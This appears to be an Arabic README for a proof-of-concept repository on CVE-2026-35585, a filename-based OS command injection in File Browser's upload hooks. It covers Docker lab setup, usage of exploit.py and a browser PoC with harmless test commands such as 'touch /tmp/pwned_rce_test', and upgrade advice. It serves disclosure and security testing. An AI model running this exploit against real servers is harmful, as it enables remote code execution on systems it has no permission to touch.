
إثبات مفهوم لثغرة CVE-2026-35585، وهي ثغرة حقن أوامر نظام التشغيل في متصفح الملفات File Browser (الإصدارات 2.0.0 إلى 2.33.1). تتضمن نصوصًا برمجية لإثبات المفهوم بلغة Python ومستندة إلى المتصفح لتنفيذ التعليمات البرمجية عن بُعد عبر تحميل ملفات ضارة.
هذا المستودع هو إثبات المفهوم (PoC) للثغرة الأمنية الخطيرة CVE-2026-35585 لحقن أوامر نظام التشغيل المكتشفة في File Browser (من الإصدار 2.0.0 إلى 2.33.1).
توجد هذه الثغرة في ميزة 'Custom Command Hooks'. نظرًا لعدم تنقية كافية للمتغيرات البيئية مثل $FILE و $USERNAME أثناء تنفيذ الأوامر في الشل، يمكن للمستخدمين المُصادق عليهم الذين لديهم صلاحية رفع الملفات تنفيذ أوامر تعسفية على النظام المضيف باستخدام أسماء ملفات خبيثة.
المكتشف: saku0512 (https://github.com/Saku0512)
يُستخدم هذا المشروع للأغراض التعليمية واختبار الأمان الأخلاقي فقط.
لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذه الأداة أو أي أضرار أو أنشطة غير قانونية. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. باستخدام هذا البرنامج، فإنك توافق على إجراء اختبارات الأمان فقط في بيئات حصلت فيها على إذن صريح.
في File Browser، يمكن للمسؤول تعيين خطافات مثل 'After Upload'. عند تنفيذ هذه الخطافات، يشغّل التطبيق أوامر الشل ويستبدل المتغيرات مثل $FILE باسم الملف الفعلي. إذا كان اسم الملف يحتوي على أحرف وصفية للشل مثل ; و & و |، فسيتم تنفيذها في شل النظام دون هروب مناسب.
يشرح هذا القسم خطوات إعادة تنفيذ الأوامر عن بُعد (RCE) باستخدام البيئة المقدمة وسكريبت الاستغلال.
استخدم Docker Compose لتشغيل البيئة الضعيفة (File Browser v2.33.1). نظرًا لعدم وجود data/filebrowser.db في المرة الأولى، قم أولاً بتهيئة قاعدة بيانات File Browser ثم قم بإعداد الخطاف.
# data ディレクトリに適切な権限を設定
mkdir -p data && sudo chown -R 1000:1000 data
# DBを初期化
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config init --database /database/filebrowser.db
# admin / admin ユーザーを追加
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users add admin admin --perm.admin --database /database/filebrowser.db
# shell に "sh -c" を設定
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config set --shell "sh -c" --database /database/filebrowser.db
# After Upload コマンドを追加
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser cmds add after_upload 'echo Uploaded: $FILE' --database /database/filebrowser.db
# コンテナを起動
docker compose up -d
إذا كان data/filebrowser.db موجودًا بالفعل، فلن تحتاج إلى config init. إذا كان هناك مستخدم admin بالفعل، فاستخدم الأمر التالي بدلاً من users add لإعادة تعيين كلمة المرور.
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users update admin --password admin --database /database/filebrowser.db
إذا قمت بتغيير إعدادات الخطاف بعد تشغيل الحاوية، فأوقف الخدمة بـ docker compose stop، ثم نفِّذ أوامر الإعداد، وأخيرًا ابدأ بـ docker compose start لتجنب قفل SQLite.
شغِّل سكريبت exploit.py لأتمتة تسجيل الدخول ورفع الملف الخبيث. الأمر التالي يحاول إنشاء ملف باسم pwned_rce_test في دليل /tmp داخل الحاوية.
# 依存関係をインストール
pip install requests
# exploit を実行
python3 exploit.py -t http://localhost:8080 -u admin -p admin -c "touch /tmp/pwned_rce_test"
تحقق من إنشاء الملف داخل الحاوية للتحقق من تنفيذ الأمر بنجاح.
docker exec -it cve-2026-35585-vuln-app ls -l /tmp/pwned_rce_test
إذا كان الملف موجودًا، فهذا يؤكد نجاح RCE.
يمكن استخدام exploit.py الحالي مباشرة. إذا كنت ترغب في تجربة أكثر تفاعلية تشعر فيها وكأنك تتصفح File Browser، يمكنك استخدام دليل إثبات المفهوم عبر المتصفح المرفق.
نفِّذ الخطوة '1. إعداد البيئة والتكوين الأولي' أعلاه، وتأكد من أنه يمكنك تسجيل الدخول إلى File Browser على http://localhost:8080.
python3 browser_poc.py
افتح الرابط التالي في المتصفح:
http://127.0.0.1:8090/
http://localhost:8080.admin / admin واحصل على رمز API الخاص بـ File Browser.id > /srv/pwned_browser_rce.txt./srv/pwned_browser_rce.txt عبر File Browser API وتحقق من نتيجة RCE على الشاشة.نظرًا لأن /srv مُثبَّت في هذا المستودع عبر docker-compose.yml، فعند النجاح سيتم إنشاء pwned_browser_rce.txt أيضًا على المضيف.
قم بتحديث File Browser إلى الإصدار 2.33.8 أو أحدث. في الإصدار المُصحَّح، تم تعطيل ميزة الخطاف افتراضيًا، ويتم التعامل مع توسيع المتغيرات بشكل أكثر أمانًا.